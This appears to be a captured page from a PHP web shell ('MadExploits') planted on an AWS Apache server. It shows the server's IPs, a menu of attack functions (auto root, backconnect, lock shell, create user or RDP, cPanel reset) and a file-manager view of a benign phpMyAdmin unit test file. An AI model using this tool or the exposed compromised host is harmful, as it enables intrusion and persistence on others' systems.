Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.117.71.244
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
tests /
unit /
[ HOME SHELL ]
Name
Size
Permission
Action
Advisory
[ DIR ]
drwxr-xr-x
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
ConfigStorage
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Crypto
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Identifiers
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Partitioning
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Replication
[ DIR ]
drwxr-xr-x
Routing
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Stubs
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Theme
[ DIR ]
drwxr-xr-x
Tracking
[ DIR ]
drwxr-xr-x
Triggers
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
WebAuthn
[ DIR ]
drwxr-xr-x
_data
[ DIR ]
drwxr-xr-x
AbstractTestCase.php
5.3
KB
-rw-r--r--
ApplicationTest.php
1.63
KB
-rw-r--r--
BookmarkTest.php
3.56
KB
-rw-r--r--
BrowseForeignersTest.php
6.29
KB
-rw-r--r--
CacheTest.php
3.02
KB
-rw-r--r--
CharsetsTest.php
5.3
KB
-rw-r--r--
ConfigTest.php
31.22
KB
-rw-r--r--
ConsoleTest.php
1.38
KB
-rw-r--r--
CoreTest.php
23.3
KB
-rw-r--r--
CreateAddFieldTest.php
19.21
KB
-rw-r--r--
DatabaseInterfaceTest.php
29.52
KB
-rw-r--r--
DbTableExistsTest.php
2.9
KB
-rw-r--r--
EncodingTest.php
5.89
KB
-rw-r--r--
EnvironmentTest.php
478
B
-rw-r--r--
FieldHelper.php
1.09
KB
-rw-r--r--
FieldMetadataTest.php
3.54
KB
-rw-r--r--
FileListingTest.php
3.54
KB
-rw-r--r--
FileTest.php
2.02
KB
-rw-r--r--
FlashMessagesTest.php
1.96
KB
-rw-r--r--
FontTest.php
6.13
KB
-rw-r--r--
FooterTest.php
5.19
KB
-rw-r--r--
GitTest.php
15.08
KB
-rw-r--r--
HeaderTest.php
11.05
KB
-rw-r--r--
IndexColumnTest.php
2.73
KB
-rw-r--r--
IndexTest.php
4.18
KB
-rw-r--r--
InsertEditTest.php
80.72
KB
-rw-r--r--
IpAllowDenyTest.php
6.62
KB
-rw-r--r--
LanguageTest.php
8.44
KB
-rw-r--r--
LinterTest.php
3.57
KB
-rw-r--r--
ListDatabaseTest.php
2.26
KB
-rw-r--r--
LoggingTest.php
570
B
-rw-r--r--
MenuTest.php
1.63
KB
-rw-r--r--
MessageTest.php
14.44
KB
-rw-r--r--
MimeTest.php
990
B
-rw-r--r--
NormalizationTest.php
15.38
KB
-rw-r--r--
OpenDocumentTest.php
1.67
KB
-rw-r--r--
OperationsTest.php
2.19
KB
-rw-r--r--
ParseAnalyzeTest.php
2.1
KB
-rw-r--r--
PdfTest.php
1.4
KB
-rw-r--r--
PluginsTest.php
4.69
KB
-rw-r--r--
ProfilingTest.php
730
B
-rw-r--r--
ResponseRendererTest.php
1.71
KB
-rw-r--r--
SanitizeTest.php
6.99
KB
-rw-r--r--
ScriptsTest.php
3.66
KB
-rw-r--r--
SessionTest.php
741
B
-rw-r--r--
ShowGrantsTest.php
1.78
KB
-rw-r--r--
SqlQueryFormTest.php
5.85
KB
-rw-r--r--
SqlTest.php
30.76
KB
-rw-r--r--
StorageEngineTest.php
18.19
KB
-rw-r--r--
SystemDatabaseTest.php
4.72
KB
-rw-r--r--
TemplateTest.php
5.61
KB
-rw-r--r--
TransformationsTest.php
10.52
KB
-rw-r--r--
TwoFactorTest.php
21.18
KB
-rw-r--r--
TypesByDatabaseVersionTest.php
31.86
KB
-rw-r--r--
TypesTest.php
20.45
KB
-rw-r--r--
UniqueConditionTest.php
13.26
KB
-rw-r--r--
UrlRedirectorTest.php
1.48
KB
-rw-r--r--
UrlTest.php
8.56
KB
-rw-r--r--
UserPasswordTest.php
2.5
KB
-rw-r--r--
UserPreferencesTest.php
12.02
KB
-rw-r--r--
UserPrivilegesFactoryTest.php
5.82
KB
-rw-r--r--
UtilTest.php
55.46
KB
-rw-r--r--
VersionInformationTest.php
9.62
KB
-rw-r--r--
VersionTest.php
1.25
KB
-rw-r--r--
ZipExtensionTest.php
5.31
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TypesByDatabaseVersionTest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tests; use PhpMyAdmin\DatabaseInterface; use PhpMyAdmin\Types; use PHPUnit\Framework\Attributes\CoversClass; use PHPUnit\Framework\Attributes\DataProvider; use PHPUnit\Framework\MockObject\Stub; #[CoversClass(Types::class)] class TypesByDatabaseVersionTest extends AbstractTestCase { private DatabaseInterface&Stub $dbiStub; protected Types $object; /** * Sets up the fixture, for example, opens a network connection. * This method is called before a test is executed. */ protected function setUp(): void { parent::setUp(); $this->dbiStub = self::createStub(DatabaseInterface::class); } /** * Tears down the fixture, for example, closes a network connection. * This method is called after a test is executed. */ protected function tearDown(): void { parent::tearDown(); unset($this->dbiStub); unset($this->object); } /** * @param string $database Database * @param int $dbVersion Database Version * @param string $class The class to get function list. * @param array $includes Expected elements should contain in result * @param array $excludes Expected elements should not contain in result * @phpstan-param array<string> $includes * @phpstan-param array<string> $excludes */ #[DataProvider('providerFortTestGetFunctionsClass')] public function testGetFunctionsClass( string $database, int $dbVersion, string $class, array $includes, array $excludes, ): void { $this->createObject($database, $dbVersion); $result = $this->object->getFunctionsClass($class); foreach ($includes as $value) { self::assertContains($value, $result); } if ($excludes === []) { return; } foreach ($excludes as $value) { self::assertNotContains($value, $result); } } /** * Data provider for testing function lists * * @psalm-return array<string, array{string, int, string, array<string>, array<string>}> */ public static function providerFortTestGetFunctionsClass(): array { return [ 'mysql 5.1.0 - CHAR - not support INET6 Converter' => [ 'mysql', 50100, 'CHAR', // should contains [], // should not exist [ 'INET6_NTOA' ], ], 'mysql 8.0.30 - CHAR - support INET6 Converter' => [ 'mysql', 80030, 'CHAR', // should contains [ 'INET6_NTOA' ], // should not exist [], ], 'mariadb 5.1.0 - CHAR - not support INET6 Converter' => [ 'mariadb', 50100, 'CHAR', // should contains [], // should not exist [ 'INET6_NTOA' ], ], 'mariadb 10.0.12 - CHAR - support INET6 Converter' => [ 'mariadb', 100012, 'CHAR', // should contains [ 'INET6_NTOA' ], // should not exist [], ], 'mariadb 10.9.3 - CHAR - support INET6 Converter and UUID' => [ 'mariadb', 100903, 'CHAR', // should contains [ 'INET6_NTOA', 'UUID' ], // should not exist [], ], 'mysql 5.1.0 - NUMBER - not support INET6 Converter' => [ 'mysql', 50100, 'NUMBER', // should contains [], // should not exist [ 'INET6_ATON' ], ], 'mysql 8.0.30 - NUMBER - support INET6 Converter' => [ 'mysql', 80030, 'NUMBER', // should contains [ 'INET6_ATON' ], // should not exist [], ], 'mariadb 5.1.0 - NUMBER - not support INET6 Converter' => [ 'mariadb', 50100, 'NUMBER', // should contains [], // should not exist [ 'INET6_ATON' ], ], 'mariadb 10.0.12 - NUMBER - support INET6 Converter' => [ 'mariadb', 100012, 'NUMBER', // should contains [ 'INET6_ATON' ], // should not exist [], ], 'mariadb 10.9.3 - NUMBER - support INET6 Converter and UUID' => [ 'mariadb', 100903, 'NUMBER', // should contains [ 'INET6_ATON', 'UUID_SHORT' ], // should not exist [], ], 'mysql 5.1.0 - SPATIAL - not support ST_Geometry' => [ 'mysql', 50100, 'SPATIAL', // should contains [ 'GeomFromText', 'GeomFromWKB', 'GeomCollFromText', 'LineFromText', 'MLineFromText', 'PointFromText', 'MPointFromText', 'PolyFromText', 'MPolyFromText', 'GeomCollFromWKB', 'LineFromWKB', 'MLineFromWKB', 'PointFromWKB', 'MPointFromWKB', 'PolyFromWKB', 'MPolyFromWKB', ], // should not exist [ 'ST_GeomFromText', 'ST_GeomFromWKB', 'ST_GeomCollFromText', 'ST_LineFromText', 'ST_MLineFromText', 'ST_PointFromText', 'ST_MPointFromText', 'ST_PolyFromText', 'ST_MPolyFromText', 'ST_GeomCollFromWKB', 'ST_LineFromWKB', 'ST_MLineFromWKB', 'ST_PointFromWKB', 'ST_MPointFromWKB', 'ST_PolyFromWKB', 'ST_MPolyFromWKB', ], ], 'mysql 8.0.30 - SPATIAL - support ST_Geometry' => [ 'mysql', 80030, 'SPATIAL', // should contains [ 'ST_GeomFromText', 'ST_GeomFromWKB', 'ST_GeomCollFromText', 'ST_LineFromText', 'ST_MLineFromText', 'ST_PointFromText', 'ST_MPointFromText', 'ST_PolyFromText', 'ST_MPolyFromText', 'ST_GeomCollFromWKB', 'ST_LineFromWKB', 'ST_MLineFromWKB', 'ST_PointFromWKB', 'ST_MPointFromWKB', 'ST_PolyFromWKB', 'ST_MPolyFromWKB', ], // should not exist [ 'GeomFromText', 'GeomFromWKB', 'GeomCollFromText', 'LineFromText', 'MLineFromText', 'PointFromText', 'MPointFromText', 'PolyFromText', 'MPolyFromText', 'GeomCollFromWKB', 'LineFromWKB', 'MLineFromWKB', 'PointFromWKB', 'MPointFromWKB', 'PolyFromWKB', 'MPolyFromWKB', ], ], ]; } /** * Test for getFunctions * * @param string $database Database * @param int $dbVersion Database Version * @param array $includes Expected elements should contain in result * @param array $excludes Expected elements should not contain in result * @phpstan-param array<string> $includes * @phpstan-param array<string> $excludes */ #[DataProvider('providerFortTestGetFunctions')] public function testGetFunctions(string $database, int $dbVersion, array $includes, array $excludes): void { $this->createObject($database, $dbVersion); $result = $this->object->getFunctions('enum'); foreach ($includes as $value) { self::assertContains($value, $result); } if ($excludes === []) { return; } foreach ($excludes as $value) { self::assertNotContains($value, $result); } } /** * Data provider for testing get functions * * @psalm-return array<string, array{string, int, array<string>, array<string>}> */ public static function providerFortTestGetFunctions(): array { return [ 'mysql 5.1.0 - not support INET6 Converter' => [ 'mysql', 50100, // should contains [], // should not exist [ 'INET6_NTOA' ], ], 'mysql 8.0.30 - support INET6 Converter' => [ 'mysql', 80030, // should contains [ 'INET6_NTOA' ], // should not exist [], ], 'mariadb 5.1.0 - not support INET6 Converter' => [ 'mariadb', 50100, // should contains [], // should not exist [ 'INET6_NTOA' ], ], 'mariadb 10.9.3 - support INET6 Converter' => [ 'mariadb', 100903, // should contains [ 'INET6_NTOA' ], // should not exist [], ], ]; } /** * Test for getAllFunctions * * @param string $database Database * @param int $dbVersion Database Version * @param array $includes Expected elements should contain in result * @param array $excludes Expected elements should not contain in result * @phpstan-param array<string> $includes * @phpstan-param array<string> $excludes */ #[DataProvider('providerFortTestGetAllFunctions')] public function testGetAllFunctions(string $database, int $dbVersion, array $includes, array $excludes): void { $this->createObject($database, $dbVersion); $result = $this->object->getAllFunctions(); foreach ($includes as $value) { self::assertContains($value, $result); } if ($excludes === []) { return; } foreach ($excludes as $value) { self::assertNotContains($value, $result); } } /** * Data provider for testing get all functions * * @psalm-return array<string, array{string, int, array<string>, array<string>}> */ public static function providerFortTestGetAllFunctions(): array { return [ 'mysql 5.1.0 - not support INET6_ATON, ST_Geometry' => [ 'mysql', 50100, [ 'GeomFromText', 'GeomFromWKB', 'GeomCollFromText', 'LineFromText', 'MLineFromText', 'PointFromText', 'MPointFromText', 'PolyFromText', 'MPolyFromText', 'GeomCollFromWKB', 'LineFromWKB', 'MLineFromWKB', 'PointFromWKB', 'MPointFromWKB', 'PolyFromWKB', 'MPolyFromWKB', ], [ 'INET6_ATON', 'INET6_ATON', 'ST_GeomFromText', 'ST_GeomFromWKB', 'ST_GeomCollFromText', 'ST_LineFromText', 'ST_MLineFromText', 'ST_PointFromText', 'ST_MPointFromText', 'ST_PolyFromText', 'ST_MPolyFromText', 'ST_GeomCollFromWKB', 'ST_LineFromWKB', 'ST_MLineFromWKB', 'ST_PointFromWKB', 'ST_MPointFromWKB', 'ST_PolyFromWKB', 'ST_MPolyFromWKB', ], ], 'mysql 8.0.30 - support INET6_ATON and ST_Geometry' => [ 'mysql', 80030, [ 'INET6_ATON', 'INET6_ATON', 'ST_GeomFromText', 'ST_GeomFromWKB', 'ST_GeomCollFromText', 'ST_LineFromText', 'ST_MLineFromText', 'ST_PointFromText', 'ST_MPointFromText', 'ST_PolyFromText', 'ST_MPolyFromText', 'ST_GeomCollFromWKB', 'ST_LineFromWKB', 'ST_MLineFromWKB', 'ST_PointFromWKB', 'ST_MPointFromWKB', 'ST_PolyFromWKB', 'ST_MPolyFromWKB', 'UUID', 'UUID_SHORT', ], [ 'GeomFromText', 'GeomFromWKB', 'GeomCollFromText', 'LineFromText', 'MLineFromText', 'PointFromText', 'MPointFromText', 'PolyFromText', 'MPolyFromText', 'GeomCollFromWKB', 'LineFromWKB', 'MLineFromWKB', 'PointFromWKB', 'MPointFromWKB', 'PolyFromWKB', 'MPolyFromWKB', ], ], 'mariadb 5.1.0 - not support INET6_ATON and ST_Geometry' => [ 'mariadb', 50100, [ 'GeomFromText', 'GeomFromWKB', 'GeomCollFromText', 'LineFromText', 'MLineFromText', 'PointFromText', 'MPointFromText', 'PolyFromText', 'MPolyFromText', 'GeomCollFromWKB', 'LineFromWKB', 'MLineFromWKB', 'PointFromWKB', 'MPointFromWKB', 'PolyFromWKB', 'MPolyFromWKB', 'UUID', 'UUID_SHORT', ], [ 'INET6_ATON', 'INET6_ATON', 'ST_GeomFromText', 'ST_GeomFromWKB', 'ST_GeomCollFromText', 'ST_LineFromText', 'ST_MLineFromText', 'ST_PointFromText', 'ST_MPointFromText', 'ST_PolyFromText', 'ST_MPolyFromText', 'ST_GeomCollFromWKB', 'ST_LineFromWKB', 'ST_MLineFromWKB', 'ST_PointFromWKB', 'ST_MPointFromWKB', 'ST_PolyFromWKB', 'ST_MPolyFromWKB', ], ], 'mariadb 10.6.0 - support INET6_ATON and ST_Geometry' => [ 'mariadb', 100600, [ 'INET6_ATON', 'INET6_ATON', 'ST_GeomFromText', 'ST_GeomFromWKB', 'ST_GeomCollFromText', 'ST_LineFromText', 'ST_MLineFromText', 'ST_PointFromText', 'ST_MPointFromText', 'ST_PolyFromText', 'ST_MPolyFromText', 'ST_GeomCollFromWKB', 'ST_LineFromWKB', 'ST_MLineFromWKB', 'ST_PointFromWKB', 'ST_MPointFromWKB', 'ST_PolyFromWKB', 'ST_MPolyFromWKB', 'UUID', 'UUID_SHORT', ], [ 'GeomFromText', 'GeomFromWKB', 'GeomCollFromText', 'LineFromText', 'MLineFromText', 'PointFromText', 'MPointFromText', 'PolyFromText', 'MPolyFromText', 'GeomCollFromWKB', 'LineFromWKB', 'MLineFromWKB', 'PointFromWKB', 'MPointFromWKB', 'PolyFromWKB', 'MPolyFromWKB', ], ], 'mariadb 10.9.3 - support INET6_ATON, ST_Geometry and UUID' => [ 'mariadb', 100903, [ 'INET6_ATON', 'INET6_ATON', 'ST_GeomFromText', 'ST_GeomFromWKB', 'ST_GeomCollFromText', 'ST_LineFromText', 'ST_MLineFromText', 'ST_PointFromText', 'ST_MPointFromText', 'ST_PolyFromText', 'ST_MPolyFromText', 'ST_GeomCollFromWKB', 'ST_LineFromWKB', 'ST_MLineFromWKB', 'ST_PointFromWKB', 'ST_MPointFromWKB', 'ST_PolyFromWKB', 'ST_MPolyFromWKB', 'UUID', 'UUID_SHORT', ], [ 'GeomFromText', 'GeomFromWKB', 'GeomCollFromText', 'LineFromText', 'MLineFromText', 'PointFromText', 'MPointFromText', 'PolyFromText', 'MPolyFromText', 'GeomCollFromWKB', 'LineFromWKB', 'MLineFromWKB', 'PointFromWKB', 'MPointFromWKB', 'PolyFromWKB', 'MPolyFromWKB', ], ], ]; } /** * Test for getColumns * * @param string $database Database * @param int $dbVersion Database Version * @param array $expected Expected Result * @phpstan-param array<int|string, array<int, string>|string> $expected */ #[DataProvider('providerFortTestGetColumns')] public function testGetColumns(string $database, int $dbVersion, array $expected): void { $this->createObject($database, $dbVersion); self::assertSame($expected, $this->object->getColumns()); } /** * Data provider for testing test columns * * @psalm-return array<string, array{string, int, array<int|string, array<int, string>|string>}> */ public static function providerFortTestGetColumns(): array { return [ 'mysql 5.1.0 - not support INET6, JSON and UUID' => [ 'mysql', 50100, [ 0 => 'INT', 1 => 'VARCHAR', 2 => 'TEXT', 3 => 'DATE', 'Numeric' => [ 'TINYINT', 'SMALLINT', 'MEDIUMINT', 'INT', 'BIGINT', '-', 'DECIMAL', 'FLOAT', 'DOUBLE', 'REAL', '-', 'BIT', 'BOOLEAN', 'SERIAL', ], 'Date and time' => ['DATE', 'DATETIME', 'TIMESTAMP', 'TIME', 'YEAR'], 'String' => [ 'CHAR', 'VARCHAR', '-', 'TINYTEXT', 'TEXT', 'MEDIUMTEXT', 'LONGTEXT', '-', 'BINARY', 'VARBINARY', '-', 'TINYBLOB', 'BLOB', 'MEDIUMBLOB', 'LONGBLOB', '-', 'ENUM', 'SET', ], 'Spatial' => [ 'GEOMETRY', 'POINT', 'LINESTRING', 'POLYGON', 'MULTIPOINT', 'MULTILINESTRING', 'MULTIPOLYGON', 'GEOMETRYCOLLECTION', ], ], ], 'mysql 8.0.30 - support JSON but not support INET6 and UUID' => [ 'mysql', 80030, [ 0 => 'INT', 1 => 'VARCHAR', 2 => 'TEXT', 3 => 'DATE', 'Numeric' => [ 'TINYINT', 'SMALLINT', 'MEDIUMINT', 'INT', 'BIGINT', '-', 'DECIMAL', 'FLOAT', 'DOUBLE', 'REAL', '-', 'BIT', 'BOOLEAN', 'SERIAL', ], 'Date and time' => ['DATE', 'DATETIME', 'TIMESTAMP', 'TIME', 'YEAR'], 'String' => [ 'CHAR', 'VARCHAR', '-', 'TINYTEXT', 'TEXT', 'MEDIUMTEXT', 'LONGTEXT', '-', 'BINARY', 'VARBINARY', '-', 'TINYBLOB', 'BLOB', 'MEDIUMBLOB', 'LONGBLOB', '-', 'ENUM', 'SET', ], 'Spatial' => [ 'GEOMETRY', 'POINT', 'LINESTRING', 'POLYGON', 'MULTIPOINT', 'MULTILINESTRING', 'MULTIPOLYGON', 'GEOMETRYCOLLECTION', ], 'JSON' => ['JSON'], ], ], 'mariadb 5.1.0 - not support INET6, JSON and UUID' => [ 'mariadb', 50100, [ 0 => 'INT', 1 => 'VARCHAR', 2 => 'TEXT', 3 => 'DATE', 'Numeric' => [ 'TINYINT', 'SMALLINT', 'MEDIUMINT', 'INT', 'BIGINT', '-', 'DECIMAL', 'FLOAT', 'DOUBLE', 'REAL', '-', 'BIT', 'BOOLEAN', 'SERIAL', ], 'Date and time' => ['DATE', 'DATETIME', 'TIMESTAMP', 'TIME', 'YEAR'], 'String' => [ 'CHAR', 'VARCHAR', '-', 'TINYTEXT', 'TEXT', 'MEDIUMTEXT', 'LONGTEXT', '-', 'BINARY', 'VARBINARY', '-', 'TINYBLOB', 'BLOB', 'MEDIUMBLOB', 'LONGBLOB', '-', 'ENUM', 'SET', ], 'Spatial' => [ 'GEOMETRY', 'POINT', 'LINESTRING', 'POLYGON', 'MULTIPOINT', 'MULTILINESTRING', 'MULTIPOLYGON', 'GEOMETRYCOLLECTION', ], ], ], 'mariadb 10.2.8 - support JSON but not support INET6 and UUID' => [ 'mariadb', 100208, [ 0 => 'INT', 1 => 'VARCHAR', 2 => 'TEXT', 3 => 'DATE', 'Numeric' => [ 'TINYINT', 'SMALLINT', 'MEDIUMINT', 'INT', 'BIGINT', '-', 'DECIMAL', 'FLOAT', 'DOUBLE', 'REAL', '-', 'BIT', 'BOOLEAN', 'SERIAL', ], 'Date and time' => ['DATE', 'DATETIME', 'TIMESTAMP', 'TIME', 'YEAR'], 'String' => [ 'CHAR', 'VARCHAR', '-', 'TINYTEXT', 'TEXT', 'MEDIUMTEXT', 'LONGTEXT', '-', 'BINARY', 'VARBINARY', '-', 'TINYBLOB', 'BLOB', 'MEDIUMBLOB', 'LONGBLOB', '-', 'ENUM', 'SET', ], 'Spatial' => [ 'GEOMETRY', 'POINT', 'LINESTRING', 'POLYGON', 'MULTIPOINT', 'MULTILINESTRING', 'MULTIPOLYGON', 'GEOMETRYCOLLECTION', ], 'JSON' => [ 'JSON' ], ], ], 'mariadb 10.5.0 - support JSON and INET6 but not support UUID' => [ 'mariadb', 100500, [ 0 => 'INT', 1 => 'VARCHAR', 2 => 'TEXT', 3 => 'DATE', 'Numeric' => [ 'TINYINT', 'SMALLINT', 'MEDIUMINT', 'INT', 'BIGINT', '-', 'DECIMAL', 'FLOAT', 'DOUBLE', 'REAL', '-', 'BIT', 'BOOLEAN', 'SERIAL', ], 'Date and time' => ['DATE', 'DATETIME', 'TIMESTAMP', 'TIME', 'YEAR'], 'String' => [ 'CHAR', 'VARCHAR', '-', 'TINYTEXT', 'TEXT', 'MEDIUMTEXT', 'LONGTEXT', '-', 'BINARY', 'VARBINARY', '-', 'TINYBLOB', 'BLOB', 'MEDIUMBLOB', 'LONGBLOB', '-', 'ENUM', 'SET', '-', 'INET6', ], 'Spatial' => [ 'GEOMETRY', 'POINT', 'LINESTRING', 'POLYGON', 'MULTIPOINT', 'MULTILINESTRING', 'MULTIPOLYGON', 'GEOMETRYCOLLECTION', ], 'JSON' => [ 'JSON' ], ], ], 'mariadb 10.9.3 - support INET6, JSON and UUID' => [ 'mariadb', 100903, [ 0 => 'INT', 1 => 'VARCHAR', 2 => 'TEXT', 3 => 'DATE', 4 => 'UUID', 'Numeric' => [ 'TINYINT', 'SMALLINT', 'MEDIUMINT', 'INT', 'BIGINT', '-', 'DECIMAL', 'FLOAT', 'DOUBLE', 'REAL', '-', 'BIT', 'BOOLEAN', 'SERIAL', ], 'Date and time' => ['DATE', 'DATETIME', 'TIMESTAMP', 'TIME', 'YEAR'], 'String' => [ 'CHAR', 'VARCHAR', '-', 'TINYTEXT', 'TEXT', 'MEDIUMTEXT', 'LONGTEXT', '-', 'BINARY', 'VARBINARY', '-', 'TINYBLOB', 'BLOB', 'MEDIUMBLOB', 'LONGBLOB', '-', 'ENUM', 'SET', '-', 'INET6', ], 'Spatial' => [ 'GEOMETRY', 'POINT', 'LINESTRING', 'POLYGON', 'MULTIPOINT', 'MULTILINESTRING', 'MULTIPOLYGON', 'GEOMETRYCOLLECTION', ], 'JSON' => [ 'JSON' ], 'UUID' => [ 'UUID' ], ], ], ]; } /** * @param string $database Database * @param int $version Database Version */ private function createObject(string $database, int $version): void { $this->dbiStub->method('isMariaDB')->willReturn($database === 'mariadb'); $this->dbiStub->method('getVersion')->willReturn($version); $this->object = new Types($this->dbiStub); } }
Close